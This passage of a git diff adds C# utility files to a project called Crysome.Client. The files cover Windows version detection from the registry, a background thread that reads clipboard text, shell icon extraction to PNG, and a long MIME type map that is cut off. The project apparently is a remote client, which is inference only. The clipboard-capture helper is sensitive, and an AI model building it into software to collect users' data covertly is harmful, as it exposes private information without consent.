Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + return registryKey?.GetValue("DisplayVersion", "")?.ToString() ?? ""; + } + catch + { + return ""; + } + } + + private static string BuildToOSName(uint build) + { + if (build >= 22000) + { + return "Windows 11"; + } + if (build >= 10240) + { + return "Windows 10"; + } + if (build >= 9600) + { + return "Windows 8.1"; + } + if (build >= 9200) + { + return "Windows 8"; + } + if (build >= 7600) + { + return "Windows 7"; + } + if (build >= 6000) + { + return "Windows Vista"; + } + if (build >= 2600) + { + return "Windows XP"; + } + return ""; + } +} diff --git a/Crysome.Client/Crysome.Client.Util/ClipboardSta.cs b/Crysome.Client/Crysome.Client.Util/ClipboardSta.cs new file mode 100644 index 0000000..f1dc67e --- /dev/null +++ b/Crysome.Client/Crysome.Client.Util/ClipboardSta.cs @@ -0,0 +1,74 @@ +using System; +using System.Collections.Concurrent; +using System.Threading; +using System.Windows.Forms; + +namespace Crysome.Client.Util; + +internal static class ClipboardSta +{ + private static readonly BlockingCollection Queue; + + private static readonly Thread Thread; + + static ClipboardSta() + { + Queue = new BlockingCollection(); + Thread = new Thread(Worker) + { + IsBackground = true, + Name = "CryClip" + }; + Thread.SetApartmentState(ApartmentState.STA); + Thread.Start(); + } + + private static void Worker() + { + foreach (Action item in Queue.GetConsumingEnumerable()) + { + try + { + item(); + } + catch + { + } + } + } + + public static string GetTextTruncated(int maxChars) + { + string[] box = new string[1]; + ManualResetEventSlim done = new ManualResetEventSlim(initialState: false); + Queue.Add(delegate + { + try + { + if (Clipboard.ContainsText()) + { + string text = Clipboard.GetText() ?? ""; + if (text.Length > maxChars) + { + text = text.Substring(0, maxChars) + "…"; + } + box[0] = text; + } + else + { + box[0] = ""; + } + } + catch + { + box[0] = ""; + } + finally + { + done.Set(); + } + }); + done.Wait(3000); + return box[0] ?? ""; + } +} diff --git a/Crysome.Client/Crysome.Client.Util/ShellSmallIconPng.cs b/Crysome.Client/Crysome.Client.Util/ShellSmallIconPng.cs new file mode 100644 index 0000000..8c59015 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Util/ShellSmallIconPng.cs @@ -0,0 +1,90 @@ +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Runtime.InteropServices; + +namespace Crysome.Client.Util; + +internal static class ShellSmallIconPng +{ + private struct SHFILEINFO + { + public IntPtr hIcon; + + public int iIcon; + + public uint dwAttributes; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)] + public string szDisplayName; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 80)] + public string szTypeName; + } + + private const uint SHGFI_ICON = 256u; + + private const uint SHGFI_SMALLICON = 1u; + + private const uint SHGFI_USEFILEATTRIBUTES = 16u; + + private const uint FILE_ATTRIBUTE_DIRECTORY = 16u; + + [DllImport("shell32.dll", CharSet = CharSet.Auto)] + private static extern IntPtr SHGetFileInfo(string pszPath, uint dwFileAttributes, ref SHFILEINFO psfi, uint cbFileInfo, uint uFlags); + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern bool DestroyIcon(IntPtr hIcon); + + public static byte[] TryGetPng(string fullPath, bool isDirectory) + { + if (string.IsNullOrEmpty(fullPath)) + { + return null; + } + try + { + if (!isDirectory && File.Exists(fullPath)) + { + using (Icon icon = Icon.ExtractAssociatedIcon(fullPath)) + { + if (icon == null) + { + return null; + } + return IconToPng(icon); + } + } + SHFILEINFO psfi = default(SHFILEINFO); + uint dwFileAttributes = (isDirectory ? 16u : 0u); + if (SHGetFileInfo(fullPath, dwFileAttributes, ref psfi, (uint)Marshal.SizeOf(), 273u) == IntPtr.Zero || psfi.hIcon == IntPtr.Zero) + { + return null; + } + IntPtr hIcon = psfi.hIcon; + try + { + using Icon icon2 = Icon.FromHandle(hIcon); + using Icon ico = (Icon)icon2.Clone(); + return IconToPng(ico); + } + finally + { + DestroyIcon(hIcon); + } + } + catch + { + return null; + } + } + + private static byte[] IconToPng(Icon ico) + { + using Bitmap bitmap = ico.ToBitmap(); + using MemoryStream memoryStream = new MemoryStream(); + bitmap.Save(memoryStream, ImageFormat.Png); + return memoryStream.ToArray(); + } +} diff --git a/Crysome.Client/Crysome.Client.Web/MimeTypeMap.cs b/Crysome.Client/Crysome.Client.Web/MimeTypeMap.cs new file mode 100644 index 0000000..5866b86 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Web/MimeTypeMap.cs @@ -0,0 +1,721 @@ +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Crysome.Client.Web; + +public static class MimeTypeMap +{ + private static readonly Lazy> mappings = new Lazy>(BuildMappings); + + private static IDictionary BuildMappings() + { + Dictionary dictionary = new Dictionary(StringComparer.OrdinalIgnoreCase) + { + { ".323", "text/h323" }, + { ".3g2", "video/3gpp2" }, + { ".3gp", "video/3gpp" }, + { ".3gp2", "video/3gpp2" }, + { ".3gpp", "video/3gpp" }, + { ".7z", "application/x-7z-compressed" }, + { ".aa", "audio/audible" }, + { ".AAC", "audio/aac" }, + { ".aaf", "application/octet-stream" }, + { ".aax", "audio/vnd.audible.aax" }, + { ".ac3", "audio/ac3" }, + { ".aca", "application/octet-stream" }, + { ".accda", "application/msaccess.addin" }, + { ".accdb", "application/msaccess" }, + { ".accdc", "application/msaccess.cab" }, + { ".accde", "application/msaccess" }, + { ".accdr", "application/msaccess.runtime" }, + { ".accdt", "application/msaccess" }, + { ".accdw", "application/msaccess.webapplication" }, + { ".accft", "application/msaccess.ftemplate" }, + { ".acx", "application/internet-property-stream" }, + { ".AddIn", "text/xml" }, + { ".ade", "application/msaccess" }, + { ".adobebridge", "application/x-bridge-url" }, + { ".adp", "application/msaccess" }, + { ".ADT", "audio/vnd.dlna.adts" }, + { ".ADTS", "audio/aac" }, + { ".afm", "application/octet-stream" }, + { ".ai", "application/postscript" }, + { ".aif", "audio/aiff" }, + { ".aifc", "audio/aiff" }, + { ".aiff", "audio/aiff" }, + { ".air", "application/vnd.adobe.air-application-installer-package+zip" }, + { ".amc", "application/mpeg" }, + { ".anx", "application/annodex" }, + { ".apk", "application/vnd.android.package-archive" }, + { ".application", "application/x-ms-application" }, + { ".art", "image/x-jg" }, + { ".asa", "application/xml" }, + { ".asax", "application/xml" }, + { ".ascx", "application/xml" }, + { ".asd", "application/octet-stream" }, + { ".asf", "video/x-ms-asf" }, + { ".ashx", "application/xml" }, + { ".asi", "application/octet-stream" }, + { ".asm", "text/plain" }, + { ".asmx", "application/xml" }, + { ".aspx", "application/xml" }, + { ".asr", "video/x-ms-asf" }, + { ".asx", "video/x-ms-asf" }, + { ".atom", "application/atom+xml" }, + { ".au", "audio/basic" }, + { ".avi", "video/x-msvideo" }, + { ".axa", "audio/annodex" }, + { ".axs", "application/olescript" }, + { ".axv", "video/annodex" }, + { ".bas", "text/plain" }, + { ".bcpio", "application/x-bcpio" }, + { ".bin", "application/octet-stream" }, + { ".bmp", "image/bmp" }, + { ".c", "text/plain" }, + { ".cab", "application/octet-stream" }, + { ".caf", "audio/x-caf" }, + { ".calx", "application/vnd.ms-office.calx" }, + { ".cat", "application/vnd.ms-pki.seccat" }, + { ".cc", "text/plain" }, + { ".cd", "text/plain" }, + { ".cdda", "audio/aiff" }, + { ".cdf", "application/x-cdf" }, + { ".cer", "application/x-x509-ca-cert" }, + { ".cfg", "text/plain" }, + { ".chm", "application/octet-stream" }, + { ".class", "application/x-java-applet" }, + { ".clp", "application/x-msclip" }, + { ".cmd", "text/plain" }, + { ".cmx", "image/x-cmx" }, + { ".cnf", "text/plain" }, + { ".cod", "image/cis-cod" }, + { ".config", "application/xml" }, + { ".contact", "text/x-ms-contact" }, + { ".coverage", "application/xml" }, + { ".cpio", "application/x-cpio" }, + { ".cpp", "text/plain" }, + { ".crd", "application/x-mscardfile" }, + { ".crl", "application/pkix-crl" }, + { ".crt", "application/x-x509-ca-cert" }, + { ".cs", "text/plain" }, + { ".csdproj", "text/plain" }, + { ".csh", "application/x-csh" }, + { ".csproj", "text/plain" }, + { ".css", "text/css" }, + { ".csv", "text/csv" }, + { ".cur", "application/octet-stream" }, + { ".cxx", "text/plain" }, + { ".dat", "application/octet-stream" }, + { ".datasource", "application/xml" }, + { ".dbproj", "text/plain" }, + { ".dcr", "application/x-director" }, + { ".def", "text/plain" }, + { ".deploy", "application/octet-stream" }, + { ".der", "application/x-x509-ca-cert" }, + { ".dgml", "application/xml" }, + { ".dib", "image/bmp" }, + { ".dif", "video/x-dv" }, + { ".dir", "application/x-director" }, + { ".disco", "text/xml" }, + { ".divx", "video/divx" }, + { ".dll", "application/x-msdownload" }, + { ".dll.config", "text/xml" }, + { ".dlm", "text/dlm" }, + { ".doc", "application/msword" }, + { ".docm", "application/vnd.ms-word.document.macroEnabled.12" }, + { ".docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document" }, + { ".dot", "application/msword" }, + { ".dotm", "application/vnd.ms-word.template.macroEnabled.12" }, + { ".dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template" }, + { ".dsp", "application/octet-stream" }, + { ".dsw", "text/plain" }, + { ".dtd", "text/xml" }, + { ".dtsConfig", "text/xml" }, + { ".dv", "video/x-dv" }, + { ".dvi", "application/x-dvi" }, + { ".dwf", "drawing/x-dwf" }, + { ".dwg", "application/acad" }, + { ".dwp", "application/octet-stream" }, + { ".dxf", "application/x-dxf" }, + { ".dxr", "application/x-director" }, + { ".eml", "message/rfc822" }, + { ".emz", "application/octet-stream" }, + { ".eot", "application/vnd.ms-fontobject" }, + { ".eps", "application/postscript" }, + { ".etl", "application/etl" }, + { ".etx", "text/x-setext" }, + { ".evy", "application/envoy" }, + { ".exe", "application/octet-stream" }, + { ".exe.config", "text/xml" }, + { ".fdf", "application/vnd.fdf" }, + { ".fif", "application/fractals" }, + { ".filters", "application/xml" }, + { ".fla", "application/octet-stream" }, + { ".flac", "audio/flac" }, + { ".flr", "x-world/x-vrml" }, + { ".flv", "video/x-flv" }, + { ".fsscript", "application/fsharp-script" }, + { ".fsx", "application/fsharp-script" }, + { ".generictest", "application/xml" }, + { ".gif", "image/gif" }, + { ".gpx", "application/gpx+xml" }, + { ".group", "text/x-ms-group" }, + { ".gsm", "audio/x-gsm" }, + { ".gtar", "application/x-gtar" }, + { ".gz", "application/x-gzip" }, + { ".h", "text/plain" }, + { ".hdf", "application/x-hdf" }, + { ".hdml", "text/x-hdml" }, + { ".hhc", "application/x-oleobject" }, + { ".hhk", "application/octet-stream" }, + { ".hhp", "application/octet-stream" }, + { ".hlp", "application/winhlp" }, + { ".hpp", "text/plain" }, + { ".hqx", "application/mac-binhex40" }, + { ".hta", "application/hta" }, + { ".htc", "text/x-component" }, + { ".htm", "text/html" }, + { ".html", "text/html" }, + { ".htt", "text/webviewhtml" }, + { ".hxa", "application/xml" }, + { ".hxc", "application/xml" }, + { ".hxd", "application/octet-stream" }, + { ".hxe", "application/xml" }, + { ".hxf", "application/xml" }, + { ".hxh", "application/octet-stream" }, + { ".hxi", "application/octet-stream" }, + { ".hxk", "application/xml" }, + { ".hxq", "application/octet-stream" }, + { ".hxr", "application/octet-stream" }, + { ".hxs", "application/octet-stream" }, + { ".hxt", "text/html" }, + { ".hxv", "application/xml" }, + { ".hxw", "application/octet-stream" }, + { ".hxx", "text/plain" }, + { ".i", "text/plain" }, + { ".ico", "image/x-icon" }, + { ".ics", "application/octet-stream" }, + { ".idl", "text/plain" }, + { ".ief", "image/ief" }, + { ".iii", "application/x-iphone" }, + { ".inc", "text/plain" }, + { ".inf", "application/octet-stream" }, + { ".ini", "text/plain" }, + { ".inl", "text/plain" }, + { ".ins", "application/x-internet-signup" }, + { ".ipa", "application/x-itunes-ipa" }, + { ".ipg", "application/x-itunes-ipg" }, + { ".ipproj", "text/plain" }, + { ".ipsw", "application/x-itunes-ipsw" }, + { ".iqy", "text/x-ms-iqy" }, + { ".isp", "application/x-internet-signup" }, + { ".ite", "application/x-itunes-ite" }, + { ".itlp", "application/x-itunes-itlp" }, + { ".itms", "application/x-itunes-itms" }, + { ".itpc", "application/x-itunes-itpc" }, + { ".IVF", "video/x-ivf" }, + { ".jar", "application/java-archive" }, + { ".java", "application/octet-stream" }, + { ".jck", "application/liquidmotion" }, + { ".jcz", "application/liquidmotion" }, + { ".jfif", "image/pjpeg" }, + { ".jnlp", "application/x-java-jnlp-file" }, + { ".jpb", "application/octet-stream" }, + { ".jpe", "image/jpeg" }, + { ".jpeg", "image/jpeg" }, + { ".jpg", "image/jpeg" }, + { ".js", "application/javascript" }, + { ".json", "application/json" }, + { ".jsx", "text/jscript" }, + { ".jsxbin", "text/plain" }, + { ".latex", "application/x-latex" }, + { ".library-ms", "application/windows-library+xml" }, + { ".lit", "application/x-ms-reader" }, + { ".loadtest", "application/xml" }, + { ".lpk", "application/octet-stream" }, + { ".lsf", "video/x-la-asf" }, + { ".lst", "text/plain" }, + { ".lsx", "video/x-la-asf" }, + { ".lzh", "application/octet-stream" }, + { ".m13", "application/x-msmediaview" }, + { ".m14", "application/x-msmediaview" }, + { ".m1v", "video/mpeg" }, + { ".m2t", "video/vnd.dlna.mpeg-tts" }, + { ".m2ts", "video/vnd.dlna.mpeg-tts" }, + { ".m2v", "video/mpeg" }, + { ".m3u", "audio/x-mpegurl" }, + { ".m3u8", "audio/x-mpegurl" }, + { ".m4a", "audio/m4a" }, + { ".m4b", "audio/m4b" }, + { ".m4p", "audio/m4p" }, + { ".m4r", "audio/x-m4r" }, + { ".m4v", "video/x-m4v" }, + { ".mac", "image/x-macpaint" }, + { ".mak", "text/plain" }, + { ".man", "application/x-troff-man" }, + { ".manifest", "application/x-ms-manifest" }, + { ".map", "text/plain" }, + { ".master", "application/xml" }, + { ".mbox", "application/mbox" }, + { ".mda", "application/msaccess" }, + { ".mdb", "application/x-msaccess" }, + { ".mde", "application/msaccess" }, + { ".mdp", "application/octet-stream" }, + { ".me", "application/x-troff-me" }, + { ".mfp", "application/x-shockwave-flash" }, + { ".mht", "message/rfc822" }, + { ".mhtml", "message/rfc822" }, + { ".mid", "audio/mid" }, + { ".midi", "audio/mid" }, + { ".mix", "application/octet-stream" }, + { ".mk", "text/plain" }, + { ".mmf", "application/x-smaf" }, + { ".mno", "text/xml" }, + { ".mny", "application/x-msmoney" }, + { ".mod", "video/mpeg" }, + { ".mov", "video/quicktime" }, + { ".movie", "video/x-sgi-movie" }, + { ".mp2", "video/mpeg" }, + { ".mp2v", "video/mpeg" }, + { ".mp3", "audio/mpeg" }, + { ".mp4", "video/mp4" }, + { ".mp4v", "video/mp4" }, + { ".mpa", "video/mpeg" }, + { ".mpe", "video/mpeg" }, + { ".mpeg", "video/mpeg" }, + { ".mpf", "application/vnd.ms-mediapackage" }, + { ".mpg", "video/mpeg" }, + { ".mpp", "application/vnd.ms-project" }, + { ".mpv2", "video/mpeg" }, + { ".mqv", "video/quicktime" }, + { ".ms", "application/x-troff-ms" }, + { ".msg", "application/vnd.ms-outlook" }, + { ".msi", "application/octet-stream" }, + { ".mso", "application/octet-stream" }, + { ".mts", "video/vnd.dlna.mpeg-tts" }, + { ".mtx", "application/xml" }, + { ".mvb", "application/x-msmediaview" }, + { ".mvc", "application/x-miva-compiled" }, + { ".mxp", "application/x-mmxp" }, + { ".nc", "application/x-netcdf" }, + { ".nsc", "video/x-ms-asf" }, + { ".nws", "message/rfc822" }, + { ".ocx", "application/octet-stream" }, + { ".oda", "application/oda" }, + { ".odb", "application/vnd.oasis.opendocument.database" }, + { ".odc", "application/vnd.oasis.opendocument.chart" }, + { ".odf", "application/vnd.oasis.opendocument.formula" }, + { ".odg", "application/vnd.oasis.opendocument.graphics" }, + { ".odh", "text/plain" }, + { ".odi", "application/vnd.oasis.opendocument.image" }, + { ".odl", "text/plain" }, + { ".odm", "application/vnd.oasis.opendocument.text-master" }, + { ".odp", "application/vnd.oasis.opendocument.presentation" }, + { ".ods", "application/vnd.oasis.opendocument.spreadsheet" }, + { ".odt", "application/vnd.oasis.opendocument.text" }, + { ".oga", "audio/ogg" }, + { ".ogg", "audio/ogg" }, + { ".ogv", "video/ogg" }, + { ".ogx", "application/ogg" }, + { ".one", "application/onenote" }, + { ".onea", "application/onenote" }, + { ".onepkg", "application/onenote" }, + { ".onetmp", "application/onenote" }, + { ".onetoc", "application/onenote" }, + { ".onetoc2", "application/onenote" }, + { ".opus", "audio/ogg" }, + { ".orderedtest", "application/xml" }, + { ".osdx", "application/opensearchdescription+xml" }, + { ".otf", "application/font-sfnt" }, + { ".otg", "application/vnd.oasis.opendocument.graphics-template" }, + { ".oth", "application/vnd.oasis.opendocument.text-web" }, + { ".otp", "application/vnd.oasis.opendocument.presentation-template" }, + { ".ots", "application/vnd.oasis.opendocument.spreadsheet-template" }, + { ".ott", "application/vnd.oasis.opendocument.text-template" }, + { ".oxt", "application/vnd.openofficeorg.extension" }, + { ".p10", "application/pkcs10" }, + { ".p12", "application/x-pkcs12" }, + { ".p7b", "application/x-pkcs7-certificates" }, + { ".p7c", "application/pkcs7-mime" }, + { ".p7m", "application/pkcs7-mime" }, + { ".p7r", "application/x-pkcs7-certreqresp" }, + { ".p7s", "application/pkcs7-signature" }, + { ".pbm", "image/x-portable-bitmap" }, + { ".pcast", "application/x-podcast" }, + { ".pct", "image/pict" }, + { ".pcx", "application/octet-stream" }, + { ".pcz", "application/octet-stream" }, + { ".pdf", "application/pdf" }, + { ".pfb", "application/octet-stream" }, + { ".pfm", "application/octet-stream" }, + { ".pfx", "application/x-pkcs12" }, + { ".pgm", "image/x-portable-graymap" }, + { ".pic", "image/pict" }, + { ".pict", "image/pict" }, + { ".pkgdef", "text/plain" }, + { ".pkgundef", "text/plain" }, + { ".pko", "application/vnd.ms-pki.pko" }, + { ".pls", "audio/scpls" }, + { ".pma", "application/x-perfmon" }, + { ".pmc", "application/x-perfmon" }, + { ".pml", "application/x-perfmon" }, + { ".pmr", "application/x-perfmon" }, + { ".pmw", "application/x-perfmon" }, + { ".png", "image/png" }, + { ".pnm", "image/x-portable-anymap" }, + { ".pnt", "image/x-macpaint" }, + { ".pntg", "image/x-macpaint" }, + { ".pnz", "image/png" }, + { ".pot", "application/vnd.ms-powerpoint" }, + { ".potm", "application/vnd.ms-powerpoint.template.macroEnabled.12" }, + { ".potx", "application/vnd.openxmlformats-officedocument.presentationml.template" }, + { ".ppa", "application/vnd.ms-powerpoint" }, + { ".ppam", "application/vnd.ms-powerpoint.addin.macroEnabled.12" }, + { ".ppm", "image/x-portable-pixmap" }, + { ".pps", "application/vnd.ms-powerpoint" }, + { ".ppsm", "application/vnd.ms-powerpoint.slideshow.macroEnabled.12" }, + { ".ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow" }, + { ".ppt", "application/vnd.ms-powerpoint" }, + { ".pptm", "application/vnd.ms-powerpoint.presentation.macroEnabled.12" }, + { ".pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation" }, + { ".prf", "application/pics-rules" }, + { ".prm", "application/octet-stream" }, + { ".prx", "application/octet-stream" }, + { ".ps", "application/postscript" }, + { ".psc1", "application/PowerShell" }, + { ".psd", "application/octet-stream" }, + { ".psess", "application/xml" }, + { ".psm", "application/octet-stream" }, + { ".psp", "application/octet-stream" }, + { ".pst", "application/vnd.ms-outlook" }, + { ".pub", "application/x-mspublisher" }, + { ".pwz", "application/vnd.ms-powerpoint" }, + { ".qht", "text/x-html-insertion" }, + { ".qhtm", "text/x-html-insertion" }, + { ".qt", "video/quicktime" }, + { ".qti", "image/x-quicktime" }, + { ".qtif", "image/x-quicktime" }, + { ".qtl", "application/x-quicktimeplayer" }, + { ".qxd", "application/octet-stream" }, + { ".ra", "audio/x-pn-realaudio" }, + { ".ram", "audio/x-pn-realaudio" }, + { ".rar", "application/x-rar-compressed" }, + { ".ras", "image/x-cmu-raster" }, + { ".rat", "application/rat-file" }, + { ".rc", "text/plain" }, + { ".rc2", "text/plain" }, + { ".rct", "text/plain" }, + { ".rdlc", "application/xml" }, + { ".reg", "text/plain" }, + { ".resx", "application/xml" }, + { ".rf", "image/vnd.rn-realflash" }, + { ".rgb", "image/x-rgb" }, + { ".rgs", "text/plain" }, + { ".rm", "application/vnd.rn-realmedia" }, + { ".rmi", "audio/mid" }, + { ".rmp", "application/vnd.rn-rn_music_package" }, + { ".roff", "application/x-troff" }, + { ".rpm", "audio/x-pn-realaudio-plugin" }, + { ".rqy", "text/x-ms-rqy" }, + { ".rtf", "application/rtf" }, + { ".rtx", "text/richtext" }, + { ".rvt", "application/octet-stream" }, + { ".ruleset", "application/xml" }, + { ".s", "text/plain" }, + { ".safariextz", "application/x-safari-safariextz" }, + { ".scd", "application/x-msschedule" }, + { ".scr", "text/plain" }, + { ".sct", "text/scriptlet" }, + { ".sd2", "audio/x-sd2" }, + { ".sdp", "application/sdp" }, + { ".sea", "application/octet-stream" }, + { ".searchConnector-ms", "application/windows-search-connector+xml" }, + { ".setpay", "application/set-payment-initiation" }, + { ".setreg", "application/set-registration-initiation" }, + { ".settings", "application/xml" }, + { ".sgimb", "application/x-sgimb" }, + { ".sgml", "text/sgml" }, + { ".sh", "application/x-sh" }, + { ".shar", "application/x-shar" }, + { ".shtml", "text/html" }, + { ".sit", "application/x-stuffit" }, + { ".sitemap", "application/xml" }, + { ".skin", "application/xml" }, + { ".skp", "application/x-koan" }, + { ".sldm", "application/vnd.ms-powerpoint.slide.macroEnabled.12" }, + { ".sldx", "application/vnd.openxmlformats-officedocument.presentationml.slide" }, + { ".slk", "application/vnd.ms-excel" }, + { ".sln", "text/plain" }, + { ".slupkg-ms", "application/x-ms-license" }, + { ".smd", "audio/x-smd" }, + { ".smi", "application/octet-stream" }, + { ".smx", "audio/x-smd" }, + { ".smz", "audio/x-smd" }, + { ".snd", "audio/basic" }, + { ".snippet", "application/xml" }, + { ".snp", "application/octet-stream" }, + { ".sol", "text/plain" }, + { ".sor", "text/plain" }, + { ".spc", "application/x-pkcs7-certificates" }, + { ".spl", "application/futuresplash" }, + { ".spx", "audio/ogg" }, + { ".src", "application/x-wais-source" }, + { ".srf", "text/plain" }, + { ".SSISDeploymentManifest", "text/xml" }, + { ".ssm", "application/streamingmedia" }, + { ".sst", "application/vnd.ms-pki.certstore" }, + { ".stl", "application/vnd.ms-pki.stl" }, + { ".sv4cpio", "application/x-sv4cpio" }, + { ".sv4crc", "application/x-sv4crc" }, + { ".svc", "application/xml" }, + { ".svg", "image/svg+xml" }, + { ".swf", "application/x-shockwave-flash" }, + { ".step", "application/step" }, + { ".stp", "application/step" }, + { ".t", "application/x-troff" }, + { ".tar", "application/x-tar" }, + { ".tcl", "application/x-tcl" }, + { ".testrunconfig", "application/xml" }, + { ".testsettings", "application/xml" }, + { ".tex", "application/x-tex" }, + { ".texi", "application/x-texinfo" }, + { ".texinfo", "application/x-texinfo" }, + { ".tgz", "application/x-compressed" }, + { ".thmx", "application/vnd.ms-officetheme" }, + { ".thn", "application/octet-stream" }, + { ".tif", "image/tiff" }, + { ".tiff", "image/tiff" }, + { ".tlh", "text/plain" }, + { ".tli", "text/plain" }, + { ".toc", "application/octet-stream" }, + { ".tr", "application/x-troff" }, + { ".trm", "application/x-msterminal" }, + { ".trx", "application/xml" }, + { ".ts", "video/vnd.dlna.mpeg-tts" }, + { ".tsv", "text/tab-separated-values" }, + { ".ttf", "application/font-sfnt" }, + { ".tts", "video/vnd.dlna.mpeg-tts" }, + { ".txt", "text/plain" }, + { ".u32", "application/octet-stream" }, + { ".uls", "text/iuls" }, + { ".user", "text/plain" }, + { ".ustar", "application/x-ustar" }, + { ".vb", "text/plain" }, + { ".vbdproj", "text/plain" }, + { ".vbk", "video/mpeg" }, + { ".vbproj", "text/plain" }, + { ".vbs", "text/vbscript" }, + { ".vcf", "text/x-vcard" }, + { ".vcproj", "application/xml" }, + { ".vcs", "text/plain" }, + { ".vcxproj", "application/xml" }, + { ".vddproj", "text/plain" }, + { ".vdp", "text/plain" }, + { ".vdproj", "text/plain" }, + { ".vdx", "application/vnd.ms-visio.viewer" }, + { ".vml", "text/xml" }, + { ".vscontent", "application/xml" }, + { ".vsct", "text/xml" }, + { ".vsd", "application/vnd.visio" }, + { ".vsi", "application/ms-vsi" }, + { ".vsix", "application/vsix" }, + { ".vsixlangpack", "text/xml" }, + { ".vsixmanifest", "text/xml" }, + { ".vsmdi", "application/xml" }, + { ".vspscc", "text/plain" }, + { ".vss", "application/vnd.visio" }, + { ".vsscc", "text/plain" }, + { ".vssettings", "text/xml" }, + { ".vssscc", "text/plain" }, + { ".vst", "application/vnd.visio" }, + { ".vstemplate", "text/xml" }, + { ".vsto", "application/x-ms-vsto" }, + { ".vsw", "application/vnd.visio" }, + { ".vsx", "application/vnd.visio" }, + { ".vtx", "application/vnd.visio" }, + { ".wav", "audio/wav" }, + { ".wave", "audio/wav" }, + { ".wax", "audio/x-ms-wax" }, + { ".wbk", "application/msword" }, + { ".wbmp", "image/vnd.wap.wbmp" }, + { ".wcm", "application/vnd.ms-works" }, + { ".wdb", "application/vnd.ms-works" }, + { ".wdp", "image/vnd.ms-photo" }, + { ".webarchive", "application/x-safari-webarchive" }, + { ".webm", "video/webm" }, + { ".webp", "image/webp" }, + { ".webtest", "application/xml" }, + { ".wiq", "application/xml" }, + { ".wiz", "application/msword" }, + { ".wks", "application/vnd.ms-works" }, + { ".WLMP", "application/wlmoviemaker" }, + { ".wlpginstall", "application/x-wlpg-detect" }, + { ".wlpginstall3", "application/x-wlpg3-detect" }, + { ".wm", "video/x-ms-wm" }, + { ".wma", "audio/x-ms-wma" }, + { ".wmd", "application/x-ms-wmd" }, + { ".wmf", "application/x-msmetafile" }, + { ".wml", "text/vnd.wap.wml" }, + { ".wmlc", "application/vnd.wap.wmlc" }, + { ".wmls", "text/vnd.wap.wmlscript" }, + { ".wmlsc", "application/vnd.wap.wmlscriptc" }, + { ".wmp", "video/x-ms-wmp" }, + { ".wmv", "video/x-ms-wmv" }, + { ".wmx", "video/x-ms-wmx" }, + { ".wmz", "application/x-ms-wmz" }, + { ".woff", "application/font-woff" }, + { ".wpl", "application/vnd.ms-wpl" }, + { ".wps", "application/vnd.ms-works" }, + { ".wri", "application/x-mswrite" }, + { ".wrl", "x-world/x-vrml" }, + { ".wrz", "x-world/x-vrml" }, + { ".wsc", "text/scriptlet" }, + { ".wsdl", "text/xml" }, + { ".wvx", "video/x-ms-wvx" }, + { ".x", "application/directx" }, + { ".xaf", "x-world/x-vrml" }, + { ".xaml", "application/xaml+xml" }, + { ".xap", "application/x-silverlight-app" }, + { ".xbap", "application/x-ms-xbap" }, + { ".xbm", "image/x-xbitmap" }, + { ".xdr", "text/plain" }, + { ".xht", "application/xhtml+xml" }, + { ".xhtml", "application/xhtml+xml" }, + { ".xla", "application/vnd.ms-excel" }, + { ".xlam", "application/vnd.ms-excel.addin.macroEnabled.12" }, + { ".xlc", "application/vnd.ms-excel" }, + { ".xld", "application/vnd.ms-excel" }, + { ".xlk", "application/vnd.ms-excel" }, + { ".xll", "application/vnd.ms-excel" }, + { ".xlm", "application/vnd.ms-excel" }, + { ".xls", "application/vnd.ms-excel" }, + { ".xlsb", "application/vnd.ms-excel.sheet.binary.macroEnabled.12" }, + { ".xlsm", "application/vnd.ms-excel.sheet.macroEnabled.12" }, + { ".xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" }, + { ".xlt", "application/vnd.ms-excel" }, + { ".xltm", "application/vnd.ms-excel.template.macroEnabled.12" }, + { ".xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template" }, + { ".xlw", "application/vnd.ms-excel" }, + { ".xml", "text/xml" }, + { ".xmp", "application/octet-stream" }, + { ".xmta", "application/xml" }, + { ".xof", "x-world/x-vrml" }, + { ".XOML", "text/plain" }, + { ".xpm", "image/x-xpixmap" }, + { ".xps", "application/vnd.ms-xpsdocument" }, + { ".xrm-ms", "text/xml" }, + { ".xsc", "application/xml" }, + { ".xsd", "text/xml" }, + { ".xsf", "text/xml" }, + { ".xsl", "text/xml" }, + { ".xslt", "text/xml" }, + { ".xsn", "application/octet-stream" }, + { ".xss", "application/xml" }, + { ".xspf", "application/xspf+xml" }, + { ".xtp", "application/octet-stream" }, + { ".xwd", "image/x-xwindowdump" }, + { ".z", "application/x-compress" }, + { ".zip", "application/zip" }, + { "application/fsharp-script", ".fsx" }, + { "application/msaccess", ".adp" }, + { "application/msword", ".doc" }, + { "application/octet-stream", ".bin" }, + { "application/onenote", ".one" }, + { "application/postscript", ".eps" }, + { "application/step", ".step" }, + { "application/vnd.ms-excel", ".xls" }, + { "application/vnd.ms-powerpoint", ".ppt" }, + { "application/vnd.ms-works", ".wks" }, + { "application/vnd.visio", ".vsd" }, + { "application/x-director", ".dir" }, + { "application/x-shockwave-flash", ".swf" }, + { "application/x-x509-ca-cert", ".cer" }, + { "application/x-zip-compressed", ".zip" }, + { "application/xhtml+xml", ".xhtml" }, + { "application/xml", ".xml" }, + { "audio/aac", ".AAC" }, + { "audio/aiff", ".aiff" }, + { "audio/basic", ".snd" }, + { "audio/mid", ".midi" }, + { "audio/wav", ".wav" }, + { "audio/x-m4a", ".m4a" }, + { "audio/x-mpegurl", ".m3u" }, + { "audio/x-pn-realaudio", ".ra" }, + { "audio/x-smd", ".smd" }, + { "image/bmp", ".bmp" }, + { "image/jpeg", ".jpg" }, + { "image/pict", ".pic" }, + { "image/png", ".png" }, + { "image/tiff", ".tiff" }, + { "image/x-macpaint", ".mac" }, + { "image/x-quicktime", ".qti" }, + { "message/rfc822", ".eml" }, + { "text/html", ".html" }, + { "text/plain", ".txt" }, + { "text/scriptlet", ".wsc" }, + { "text/xml", ".xml" }, + { "video/3gpp", ".3gp" }, + { "video/3gpp2", ".3gp2" }, + { "video/mp4", ".mp4" }, + { 